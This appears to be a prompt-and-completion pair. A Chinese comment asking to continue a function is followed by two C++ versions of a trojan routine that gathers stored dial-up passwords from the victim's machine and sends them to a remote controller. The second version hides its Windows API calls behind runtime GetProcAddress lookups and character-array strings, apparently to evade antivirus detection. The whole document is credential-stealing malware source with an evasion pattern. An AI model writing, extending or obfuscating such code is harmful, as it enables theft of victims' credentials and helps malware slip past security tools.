// 继续写这个函数 void CSystemManager::SendDialupassList() { CDialupass pass; int nPacketLen = 0; for (int i = 0; i < pass.GetMax(); i++) { COneInfo *pOneInfo = pass.GetOneInfo(i); for (int j = 0; j < STR_MAX; j++) nPacketLen += lstrlen(pOneInfo->Get(j)) + 1; } nPacketLen += 1; LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen); DWORD dwOffset = 1; for (i = 0; i < pass.GetMax(); i++) { COneInfo *pOneInfo = pass.GetOneInfo(i); for (int j = 0; j < STR_MAX; j++) { int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1; memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength); dwOffset += nFieldLength; } } lpBuffer[0] = TOKEN_DIALUPASS; Send((LPBYTE)lpBuffer, LocalSize(lpBuffer)); LocalFree(lpBuffer); }
void CSystemManager::SendDialupassList() { CDialupass pass; int nPacketLen = 0; char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'}; lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01); int i; for (i = 0; i < pass.GetMax(); i++) { COneInfo *pOneInfo = pass.GetOneInfo(i); for (int j = 0; j < STR_MAX; j++) nPacketLen += plstrlenA(pOneInfo->Get(j)) + 1; } char SSzlC20[] = {'L','o','c','a','l','A','l','l','o','c','\0'}; LocalAllocT pLocalAlloc=(LocalAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC20); nPacketLen += 1; LPBYTE lpBuffer = (LPBYTE)pLocalAlloc(LPTR, nPacketLen); DWORD dwOffset = 1; for (i = 0; i < pass.GetMax(); i++) { COneInfo *pOneInfo = pass.GetOneInfo(i); for (int j = 0; j < STR_MAX; j++) { int nFieldLength = plstrlenA(pOneInfo->Get(j)) + 1; Gyfunction->my_memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength); dwOffset += nFieldLength; } } lpBuffer[0] = TOKEN_DIALUPASS; LocalSizeT pLocalSize=(LocalSizeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"LocalSize"); Send((LPBYTE)lpBuffer, pLocalSize(lpBuffer)); char DYrEN31[] = {'L','o','c','a','l','F','r','e','e','\0'}; LocalFreeT pLocalFree=(LocalFreeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN31); pLocalFree(lpBuffer); }